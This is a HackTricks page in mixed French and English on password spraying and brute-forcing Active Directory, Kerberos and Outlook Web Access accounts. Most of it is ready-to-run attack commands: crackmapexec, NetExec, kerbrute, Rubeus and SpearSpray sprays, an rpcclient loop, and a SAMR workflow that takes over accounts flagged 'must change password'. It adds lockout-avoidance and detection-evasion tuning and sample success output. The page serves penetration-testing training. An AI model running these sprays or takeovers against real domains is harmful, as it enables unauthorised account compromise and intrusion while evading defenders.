Password Spraying / Brute Force

Reading time: 11 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Password Spraying

Une fois que vous avez trouvé plusieurs valid usernames vous pouvez essayer les common passwords les plus courants (gardez à l'esprit le password policy de l'environnement) avec chacun des utilisateurs découverts.
Par default la minimum password length est 7.

Lists of common usernames could also be useful: https://github.com/insidetrust/statistically-likely-usernames

Remarquez que vous could lockout some accounts if you try several wrong passwords (par défaut plus de 10).

Obtenir password policy

Si vous avez des user credentials ou un shell en tant que domain user, vous pouvez get the password policy with:

bash
# From Linux
crackmapexec <IP> -u 'user' -p 'password' --pass-pol

enum4linux -u 'username' -p 'password' -P <IP>

rpcclient -U "" -N 10.10.10.10;
rpcclient $>querydominfo

ldapsearch -h 10.10.10.10 -x -b "DC=DOMAIN_NAME,DC=LOCAL" -s sub "*" | grep -m 1 -B 10 pwdHistoryLength

# From Windows
net accounts

(Get-DomainPolicy)."SystemAccess" #From powerview

Exploitation depuis Linux (ou toutes plateformes)

  • En utilisant crackmapexec:
bash
crackmapexec smb <IP> -u users.txt -p passwords.txt
# Local Auth Spray (once you found some local admin pass or hash)
## --local-auth flag indicate to only try 1 time per machine
crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep +
  • Utiliser NetExec (successeur de CME) pour du spraying ciblĂ© et peu bruyant via SMB/WinRM:
bash
# Optional: generate a hosts entry to ensure Kerberos FQDN resolution
netexec smb <DC_IP> --generate-hosts-file hosts && cat hosts /etc/hosts | sudo sponge /etc/hosts

# Spray a single candidate password against harvested users over SMB
netexec smb <DC_FQDN> -u users.txt -p 'Password123!' \
--continue-on-success --no-bruteforce --shares

# Validate a hit over WinRM (or use SMB exec methods)
netexec winrm <DC_FQDN> -u <username> -p 'Password123!' -x "whoami"

# Tip: sync your clock before Kerberos-based auth to avoid skew issues
sudo ntpdate <DC_FQDN>
bash
# Password Spraying
./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com [--dc 10.10.10.10] domain_users.txt Password123
# Brute-Force
./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com [--dc 10.10.10.10] passwords.lst thoffman
  • spray (vous pouvez indiquer le nombre de tentatives pour Ă©viter les verrouillages):
bash
spray.sh -smb <targetIP> <usernameList> <passwordList> <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes> <DOMAIN>
  • Utiliser kerbrute (python) - NON RECOMMANDÉ PARFOIS NE FONCTIONNE PAS
bash
python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt
python kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt
  • Avec le scanner/smb/smb_login module de Metasploit :

  • En utilisant rpcclient :
bash
# https://www.blackhillsinfosec.com/password-spraying-other-fun-with-rpcclient/
for u in $(cat users.txt); do
rpcclient -U "$u%Welcome1" -c "getusername;quit" 10.10.10.10 | grep Authority;
done

Depuis Windows

  • Avec Rubeus version with brute module:
bash
# with a list of users
.\Rubeus.exe brute /users:<users_file> /passwords:<passwords_file> /domain:<domain_name> /outfile:<output_file>

# check passwords for all users in current domain
.\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>
  • Avec Invoke-DomainPasswordSpray (Il gĂ©nĂšre par dĂ©faut les utilisateurs du domaine, rĂ©cupĂšre la politique de mot de passe du domaine et limite les tentatives en consĂ©quence):
bash
Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
Invoke-SprayEmptyPassword

Identifier et prendre le contrĂŽle des comptes "Password must change at next logon" (SAMR)

Une technique Ă  faible bruit consiste Ă  spray un benign/empty password et Ă  dĂ©tecter les comptes renvoyant STATUS_PASSWORD_MUST_CHANGE, ce qui indique que le password a Ă©tĂ© expirĂ© de force et peut ĂȘtre changĂ© sans connaĂźtre l'ancien.

Workflow:

  • ÉnumĂ©rer les utilisateurs (RID brute via SAMR) pour construire la liste des cibles :

rpcclient enumeration

bash
# NetExec (null/guest) + RID brute to harvest users
netexec smb <dc_fqdn> -u '' -p '' --rid-brute | awk -F'\\\\| ' '/SidTypeUser/ {print $3}' > users.txt
  • Spray un mot de passe vide et continuez sur les hits pour capturer les comptes qui doivent changer au prochain logon :
bash
# Will show valid, lockout, and STATUS_PASSWORD_MUST_CHANGE among results
netexec smb <DC.FQDN> -u users.txt -p '' --continue-on-success
  • Pour chaque hit, changez le mot de passe via SAMR avec le module NetExec (aucun ancien mot de passe nĂ©cessaire lorsque "must change" est activĂ©) :
bash
# Strong complexity to satisfy policy
env NEWPASS='P@ssw0rd!2025#' ; \
netexec smb <DC.FQDN> -u <User> -p '' -M change-password -o NEWPASS="$NEWPASS"

# Validate and retrieve domain password policy with the new creds
netexec smb <DC.FQDN> -u <User> -p "$NEWPASS" --pass-pol

Notes opérationnelles :

  • Assurez-vous que l'horloge de votre hĂŽte est synchronisĂ©e avec le DC avant les opĂ©rations basĂ©es sur Kerberos : sudo ntpdate <dc_fqdn>.
  • Un [+] sans (Pwn3d!) dans certains modules (p. ex., RDP/WinRM) signifie que les creds sont valides mais que le compte n'a pas les droits de connexion interactive.

Brute Force

bash
legba kerberos --target 127.0.0.1 --username admin --password wordlists/passwords.txt --kerberos-realm example.org

Kerberos pre-auth spraying with LDAP targeting and PSO-aware throttling (SpearSpray)

Le spraying basé sur Kerberos pre-auth réduit le bruit par rapport aux tentatives de bind SMB/NTLM/LDAP et s'aligne mieux sur les politiques de verrouillage AD. SpearSpray combine le ciblage piloté par LDAP, un moteur de patterns et la prise en compte des politiques (policy de domaine + PSOs + tampon badPwdCount) pour effectuer le spraying de maniÚre précise et sûre. Il peut aussi taguer les principals compromis dans Neo4j pour le pathing BloodHound.

Key ideas:

  • LDAP user discovery with paging and LDAPS support, optionally using custom LDAP filters.
  • Filtrage tenant compte de la policy de verrouillage du domaine + PSO pour laisser un tampon configurable d'essais (threshold) et Ă©viter de verrouiller les utilisateurs.
  • Kerberos pre-auth validation using fast gssapi bindings (generates 4768/4771 on DCs instead of 4625).
  • Pattern-based, per-user password generation using variables like names and temporal values derived from each user’s pwdLastSet.
  • Throughput control with threads, jitter, and max requests per second.
  • Optional Neo4j integration to mark owned users for BloodHound.

Basic usage and discovery:

bash
# List available pattern variables
spearspray -l

# Basic run (LDAP bind over TCP/389)
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local

# LDAPS (TCP/636)
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local --ssl

Ciblage et contrĂŽle des motifs:

bash
# Custom LDAP filter (e.g., target specific OU/attributes)
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local \
-q "(&(objectCategory=person)(objectClass=user)(department=IT))"

# Use separators/suffixes and an org token consumed by patterns via {separator}/{suffix}/{extra}
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -sep @-_ -suf !? -x ACME

ContrÎles de furtivité et de sécurité :

bash
# Control concurrency, add jitter, and cap request rate
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -t 5 -j 3,5 --max-rps 10

# Leave N attempts in reserve before lockout (default threshold: 2)
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -thr 2

Neo4j/BloodHound enrichissement:

bash
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -nu neo4j -np bloodhound --uri bolt://localhost:7687

Aperçu du systÚme de modÚles (patterns.txt) :

text
# Example templates consuming per-user attributes and temporal context
{name}{separator}{year}{suffix}
{month_en}{separator}{short_year}{suffix}
{season_en}{separator}{year}{suffix}
{samaccountname}
{extra}{separator}{year}{suffix}

Variables disponibles :

  • {name}, {samaccountname}
  • Temporels Ă  partir de pwdLastSet (ou whenCreated) de chaque utilisateur : {year}, {short_year}, {month_number}, {month_en}, {season_en}
  • Aides de composition et org token : {separator}, {suffix}, {extra}

Remarques opérationnelles :

  • PrivilĂ©giez l'interrogation du PDC-emulator avec -dc pour lire les valeurs de badPwdCount et les informations liĂ©es aux politiques les plus fiables.
  • Les remises Ă  zĂ©ro de badPwdCount sont dĂ©clenchĂ©es lors de la tentative suivante aprĂšs la fenĂȘtre d'observation ; utilisez un seuil et un timing pour rester prudent.
  • Les tentatives Kerberos pre-auth apparaissent comme 4768/4771 dans la tĂ©lĂ©mĂ©trie du DC ; utilisez du jitter et du rate-limiting pour vous fondre dans la masse.

Astuce : la taille de page LDAP par défaut de SpearSpray est 200 ; ajustez avec -lps si nécessaire.

Outlook Web Access

Il existe plusieurs outils pour password spraying outlook.

Pour utiliser l'un de ces outils, vous avez besoin d'une liste d'utilisateurs et d'un mot de passe / d'une petite liste de mots de passe pour le password spraying.

bash
./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose
[x] Failed: larsson:Summer2020
[x] Failed: cube0x0:Summer2020
[x] Failed: a.admin:Summer2020
[x] Failed: c.cube:Summer2020
[+] Success: s.svensson:Summer2020

Google

Okta

Références

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks